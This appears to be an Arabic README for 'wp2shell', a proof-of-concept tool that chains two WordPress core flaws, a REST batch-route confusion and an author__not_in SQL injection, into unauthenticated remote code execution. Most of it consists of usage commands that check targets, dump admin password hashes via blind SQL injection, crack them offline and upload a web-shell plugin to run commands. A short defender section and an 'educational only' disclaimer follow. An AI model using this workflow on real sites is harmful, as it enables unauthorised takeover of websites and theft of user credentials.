
يتيح تنفيذ التعليمات البرمجية عن بُعد دون مصادقة (RCE) في نواة ووردبريس (WordPress Core) للمهاجمين تنفيذ تعليمات برمجية عشوائية دون تسجيل الدخول عبر الربط بين CVE-2026-63030 وCVE-2026-60137، مما قد يؤدي إلى اختراق كامل للموقع.
تنفيذ التعليمات البرمجية عن بُعد دون مصادقة لنواة ووردبريس — إثبات مفهوم (CVE-2026-63030 + CVE-2026-60137)
wp2shell استغلال لسلسلة ثغرات حرجة في نواة ووردبريس. يجمع بين خلل الالتباس في مسار الدفعات بواجهة REST API وبين حقن SQL في WP_Query لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة على تثبيتات ووردبريس القابلة للاستغلال.
| التفاصيل | المعلومات |
|---|
| CVEs | CVE-2026-63030 (الالتباس في مسار دفعات REST) + CVE-2026-60137 (حقن SQL عبر author__not_in) |
| الإصدارات المتأثرة | ووردبريس 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| تم الترقيع | 6.9.5, 7.0.2 |
| المصادقة المطلوبة | لا شيء — بدون مصادقة |
| CVSS | حرجة (سلسلة RCE) |
| اكتشفها | Adam Kues (Assetnote / Searchlight Cyber) |
| التبعيات | Python 3.8+ — المكتبة القياسية فقط |
يستغل هذا الاستغلال ثغرتين في نواة ووردبريس:
CVE-2026-60137 — حقن SQL – عندما يتم تمرير author__not_in كـنص بدلاً من مصفوفة، يتجاوز ووردبريس حارس التنظيف is_array() ويُدرج القيمة الخام في جملة SQL من نوع NOT IN (...).
CVE-2026-63030 — الالتباس في مسار الدفعات – ينشئ نقطة النهاية /wp-json/batch/v1 مصفوفتين متوازيتين $matches و$validation. يتم إلحاق طلب فرعي غير صالح بـ$validation ولكن ليس بـ$matches، مما يسبب إزاحة فهرس بمقدار +1. يتم إرسال الطلب الفرعي i مع معالج الطلب الفرعي i+1.
عند دمجهما معًا: طلب POST /wp/v2/posts يحمل طلبًا داخليًا GET /wp/v2/users يحتوي على نص author_exclude يتجاوز كلاً من قائمة الأساليب المسموح بها وتنظيف الإدخال. يصل النص إلى WP_Query باسم author__not_in ويتم إدراجه في SQL — مما يمنحك حقن SQL أعمى دون مصادقة.
من هناك، يمكن للأداة:
| الميزة | الوصف |
|---|---|
| التحقق من الثغرة | فحص آمن بتأخير زمني — لا يقرأ أي بيانات ولا يغيّر شيئًا |
| استخراج البيانات | حقن SQL أعمى مع تحسين البحث الثنائي لاستخراج فعّال |
| تفريغ تجزئات المستخدمين | استخراج تجزئات user_login وuser_pass من wp_users |
| تنفيذ التعليمات البرمجية عن بُعد | المصادقة كمسؤول، رفع إضافة ويب شيل، تنفيذ الأوامر |
| صدفة تفاعلية | جلسة تنفيذ أوامر مستمرة |
| مخرجات ملونة | تغذية بصرية واضحة لنتائج الفحص |
| بدون تبعيات | يستخدم مكتبة بايثون القياسية فقط |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
هذا كل شيء. لا حاجة لأي حزم خارجية.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
يطلق قائمة تفاعلية تتوفر فيها جميع الوظائف عبر خيارات مرقمة.
check — تأكيد الثغرة (آمن)ينفذ فحص تأخير زمني لتأكيد قابلية الاستغلال. لا يقرأ أي بيانات ولا يغيّر شيئًا.
./wp2shell.py http://target.com check
read — استخراج البيانات (حقن SQL أعمى)يستخرج المعلومات من قاعدة البيانات باستخدام حقن SQL أعمى قائم على الوقت.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — تنفيذ التعليمات البرمجية عن بُعديتطلب بيانات اعتماد مسؤول صالحة. يمكن لحقن SQL استعادة تجزئة كلمة المرور، لكن يجب عليك توفير كلمة المرور النصية المستعادة.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| الخيار | الوصف |
|---|---|
--users | استخراج user_login وuser_pass من wp_users |
--database | استخراج اسم قاعدة البيانات الحالية |
--version | استخراج إصدار MySQL |
--query "SQL" | تنفيذ استعلام SQL مخصص (استخراج أعمى) |
--user USER | اسم مستخدم المسؤول لـ RCE |
--password PASS | كلمة مرور المسؤول لـ RCE (نصية، مستعادة عبر SQLi) |
--cmd CMD | الأمر المراد تنفيذه عبر الويب شيل |
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| الفرع | المتأثر | الإصلاح |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (حقن SQL فقط، بدون RCE) | 6.8.6 |
الإصدارات السابقة لـ 6.9.0 ليست متأثرة بسلسلة RCE الكاملة.
للمدافعين:
POST /wp-json/batch/v1 ذات أجسام requests المتداخلة404 على مسار الدفعات دائمًا أنه "تم الترقيع" — فقد يعني أيضًا أن WAF/CDN يحظر وصول REST API المجهولهذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط.